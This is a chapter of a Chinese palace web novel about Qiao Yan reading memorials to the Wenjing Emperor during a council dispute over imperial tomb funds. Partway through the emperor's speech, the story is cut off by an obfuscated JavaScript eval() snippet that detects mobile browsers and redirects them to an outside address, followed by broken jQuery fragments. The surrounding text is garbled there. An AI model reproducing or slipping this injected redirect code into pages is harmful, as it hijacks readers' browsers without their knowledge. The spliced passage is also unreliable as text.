天边刚泛起鱼肚白，一顶两人抬的步舆已经停在了朱红铜门的外头。


    除了抬轿的两名粗使内侍，另有一个青衣太监随行。青衣太监上前两步，踩上门前踏跺，扣响黄铜铺首。


    没等多久，门开了，青衣太监袖着手，站在低一阶的地方，微仰着头，和气地问道：“乔姑娘呢？”


    “咱们姑娘就来了，劳小金公公您等一会儿。”


    这道门后住着新进宫的主子，乔燕。乔燕这次入宫只带了一个贴身的奴婢，如果是宫里正经的娘娘，自有尚宫局按例补上宫人，但尴尬就尴尬在乔燕尚未上玉牒，只能算半个主子，宫人们遇上了，也只能客客气气地称一声“姑娘”。


    好在唐直抒行事周全，就在昨晚，他亲自送来四个奴婢，太监和宫女各两名。此刻应门的太监就是其中一个，叫做于海，昨夜正是他临时当值。


    于海说完话后，不一会儿，一行人从门后步道上走来。青衣太监精神振奋，含胸弓腰拱手，笑起来脸上有一对酒窝，看起来十分讨喜。


    “乔姑娘，奴婢是洗心殿的人，奉旨接您过去。”


    这一去，乔燕要当着一众内阁阁老和司礼监大太监的面念奏疏。


    自回到乔家后，乔燕受闺训日久，已记不清上回在人前抛头露面是何时。一想到今日要在众多响当当的人物面前不漏怯，她就心里发怵，为此一夜没有睡好，脂粉也遮不住眼底的青色。


    横竖躲不过去，乔燕深呼吸了一口气，毅然伸出头准备挨这一刀。


    “走吧。”


    洗心殿外，一顶步舆晃晃悠悠地自西边而来，步舆上坐着一名须发尽白的老臣，头戴七梁冠，身穿绯色圆领官袍，胸前绣着白鹤补子，腰系白玉带子。


    这是自冯忱去世、乔广川被羁之后，内阁里顶上来的新首辅束继文。


    说来可怜，半年前内阁就在政斗里去了一人，尚来不及补上缺，如今又失两位阁员，下头的依次递补上来，就是首辅束继文和次辅温却疾——整个内阁也只剩下了他二人。


    今日议事，两位阁老本都该到场，但温次辅前日感染风寒，在家休养，尚未痊愈回来。


    两名较为年轻的翰林院官员早就等在了殿外，见到步舆，忙上前一步，一左一右地伸出手。


    “老师。”


    “元辅。”


    束继文站稳了，点了点头，松开他们的手，整襟正冠，昂首阔步走进了大殿。


    殿里摆着两排木案，束继文在左上首坐下，待他坐下后，另两人才在下首坐下。


    此时其他人还没有来，空旷的殿内燃着明灯，偶有荜拨声炸响，更衬得四下幽寂。


    “老师，我听说，今天有个娘娘要来。”一位年轻官员轻声道。


    另一人吓了一跳：“你从哪儿听说的，我怎么不知道？”


    “圣上眼睛不大好，之前都让太监念文书，但是念得磕磕绊绊，听得烦躁。这回乔家送了个知书达理的姑娘入宫，圣上就让她来念奏疏。”


    此言一出，旁边的官员不由也默了一瞬，叹道：“乔家也是难做……但圣上把人带过来，到底是什么意思？元辅，如果圣上当真带女眷过来，我们要谏吗？”


    一瞬间，四只眼睛都落在了闭目养神的束继文身上。


    束继文眼睛不睁，冷声道：“按理来说，圣上的家事我们无权过问，但既然来了洗心殿，就不仅是家事，更是国事。”


    就知道新的首辅是这么个一成不变的性子。最初提起这事的官员劝道：“老师，说句心里话，我觉得不妥，虽说‘理’不可废，但如果这也要谏，那也要谏，每天都争论在鸡毛蒜皮的小事上，真正为百姓做的实事能有多少。别忘了，我们今儿要让圣上在修缮皇陵的拨款上再节省一点，要是纠缠在一个女眷身上，岂非本末倒置。”


    束继文深深皱起了眉。


    见他有所动摇，官员再接再厉：“要我看，这事儿先观察观察，如果乔氏只念字，不参议国事，那我们就没必要在这上面大做文章了，只当是和从前念字的奴婢一样便好。”


    没等束继文表态，大门外陆续进来两人，是两名起居舍人，一左一右坐在末端。没过一会儿，又进来三个太监，为首的正是司礼监代掌印董治，他们走到右边的长案后，董治只坐在第二席上，其余人坐在下首，将首座空了出来。


    这就是平常日子里陪皇帝批阅公文的全部班底了。


    因时间在每日清晨，所以大家私底下都称之为“晨议”。晨议时间短，只能挑要紧的事情商议，至于什么事情才称得上紧要——本朝奏疏全部都先由内阁做好批复建议，送到文书房，司礼监将其分类，一部分自行批红，分发六科，另一部分驳回的题本，便在晨议上拿出来商议，由皇帝裁决。


    人到齐后反而没有人开口说话，一时安静下来。


    金色的阳光悄无声息地攀上廊柱，东边侧门后终于传一阵窸窣声。随着一声嘹亮的唱喏，在场的八人全部站了起来，朝向小门，垂下头。


    文景帝在董玉莲和一位年轻女子的搀扶下走了进来。


    须弥座上置一香炉，龙椅在香炉后。那香炉本有两人高，文景帝坐下后，就将他和众人彻底隔了开来，只能透过镂空的地方，隐约看到一丝人影。


    八人下跪，三呼万岁。


    乔燕站在文景帝的右前方，侧过身，避开了他们的礼。


    “都坐，”文景帝道，“现在议事。乔氏。”


    束继文微微抬头，皱着眉，到底没说什么。旁边的官员悄悄松了口气。


    乔燕接过随堂太监递来的题本，无声地深吸一口气，事到临头，她反而镇定下来，从第一个字娓娓读来。


    这是一份工部上奏的题本。


    去年夏日，暴雨泛滥，天寿山的皇陵坍塌，京中一时流言四起。文景帝怒不可遏，砍了一批参与营建皇陵的大臣，并拨了八十万的款项再修皇陵。但如今皇陵修到一半，银子却不够了，于是工部几位堂官部议之后，想再追加五十万两白银。


    修皇陵对文景帝来说是头等大事，一口应下。


    束继文下首的两名文官对视了一眼，一人起身道：“先惠帝新建皇陵，逾百十里，历时八载，银两以计，不过一百一十万。恕臣直言，这次不过是灾后修葺，工部的胃口未免也太大了。”


    文景帝显然不悦了起来，反过来则问道：“今日议户部的事，次辅怎么没来？若是管不来户部，那朕看他这个户部尚书也做到头了。”


    下首的文官答道：“回圣上，温阁老抱恙在身，已递奏呈请过假。”


    “这病的时候可真巧。”


    文官们无奈地对视一眼。其实心里也颇有微词，温却疾入阁后亲眼看到前头的阁员接二连三地出事，好像被吓破了胆，日渐圆滑唯诺，人云亦云，问到他头上要么“元辅说的是”，要么“我也不敢妄下定论，有赖诸位同僚商讨”，若是遇事，则抱恙在家，推诿却责——这已是今年第五次了。


    文景帝还在说：“朕躬身碌事半生，从未大兴土木，不过想修一个好一点的皇陵罢了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996281|193889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    当今皇帝确实未曾兴建什么宫殿，但虔诚修道，每年光在祭祀上的开销就够户部头疼了。


    只是文景帝话都说到了这个份上，翰林院官员没有继续自讨没趣，他焦急地瞥向门口，好在，会极门的太监不负所望地出现在了他的视野里。


    “什么事？”董治压低嗓子喝问。


    “户部左侍郎刘允请求陛见。”


    户部侍郎亲自来了，看来今日这事又要扯皮。文景帝脸色变得不太好看：“让他进来。”


    太监下去传话，没多久，刘侍郎步履匆匆地走了过来。


    他确实是为皇陵拨款一事而来，而且憋着一肚子火。本来两浙的盐运司能有一笔二百万的进款，但随着冯家公案的无疾而终，这笔银子好像也跟着消失了。今年才过了一半，国库已然赤字，连皇帝内帑的钱都给不上，就这样工部还要银子，他们整天只知道哭穷要钱，却也不想一想哪里还有钱给他们！


    刘允这番前来心态十分光棍——反正户部没银子，皇帝如果想拿钱修皇陵，那您从自己的内帑掏吧！


    “国库怎么会这么快就空了！”文景帝忍不住道，“冯家贪墨案的二百万两呢，到现在还没找到吗？”


    说到这儿，就牵扯到了东厂。董玉莲不得不答话：“冯家案子虽结，但涉事人员至今未曾道出脏银所在，微臣还在查。”


    一直不言的束继文冷笑一声：“据我所知，冯家人一直到法场都未曾承认贪下这笔银子，这根本就是一笔糊涂账，凭空少的二百万两，也不知到底去了哪。”


    董玉莲眯起眼：“束阁老，你这话的意思是在质疑圣上的裁断吗？”


    束继文淡道：“冯家案子是你东厂查的，若有差池也是圣上受了小人蒙蔽。”


    内廷代表着皇帝的脸面，束继文和董玉莲争，便是内阁和皇帝在争，文景帝听了自然不快。但此事内廷确实显露了私心，文景帝一想到就寒心不已。


    不知何时，锦衣卫被东厂压得抬不起头，完全成了东厂的下属衙门。若不是锦衣卫指挥使是宗室子弟，偷偷入宫密报，还真不知道原来董玉莲私下跟赵王来往密切，和淮党更是关联颇深。


    一条狗，若是认不清主子，朝外面的人摇尾巴，那离死也就不远了。


    他心中越是不快，脸上反而越显平静。


    “好了。”


    两人这才住了嘴。


    文景帝面无表情：“这笔钱总有个去处，没有查出来那就继续查，东厂查不出来，让锦衣卫帮你们查。不管怎么样，在雨季之前，朕要见到这笔银子。至于工部上奏的事，自然批准，户部不得推诿。”


    君臣之间的拉锯已然与乔燕无关，她眼观鼻鼻观心地站着，努力淡出自己的存在感。


    今天晨议颇费了时候，议会结束，文景帝没有留饭，乔燕饿着肚子回到住处已经过了午时一刻。


    幸而天气热，尚食局送来的午食还冒着热气，就是汤水都糊在了一处，滋味不甚好。乔燕勉强吃了点，只觉不饿了，就叫撤了下去。


    说来也巧，尚食局的女使刚走，尚宫局、司礼监的人就来了，两方还在门口打了个照面。


    司礼监此行带了圣旨，大意是乔燕表现上佳，甚得圣心，封为贵人。尚宫局补全了乔贵人身边的宫人和一应份例。


    就这样，乔贵人的深宫生活拉开了帷幕。


    从紧张到习惯，从初来乍到到安之泰然，乔燕每天朝出午回，下午足不出户，对皇城的印象，几乎全在那一间威严的殿室里。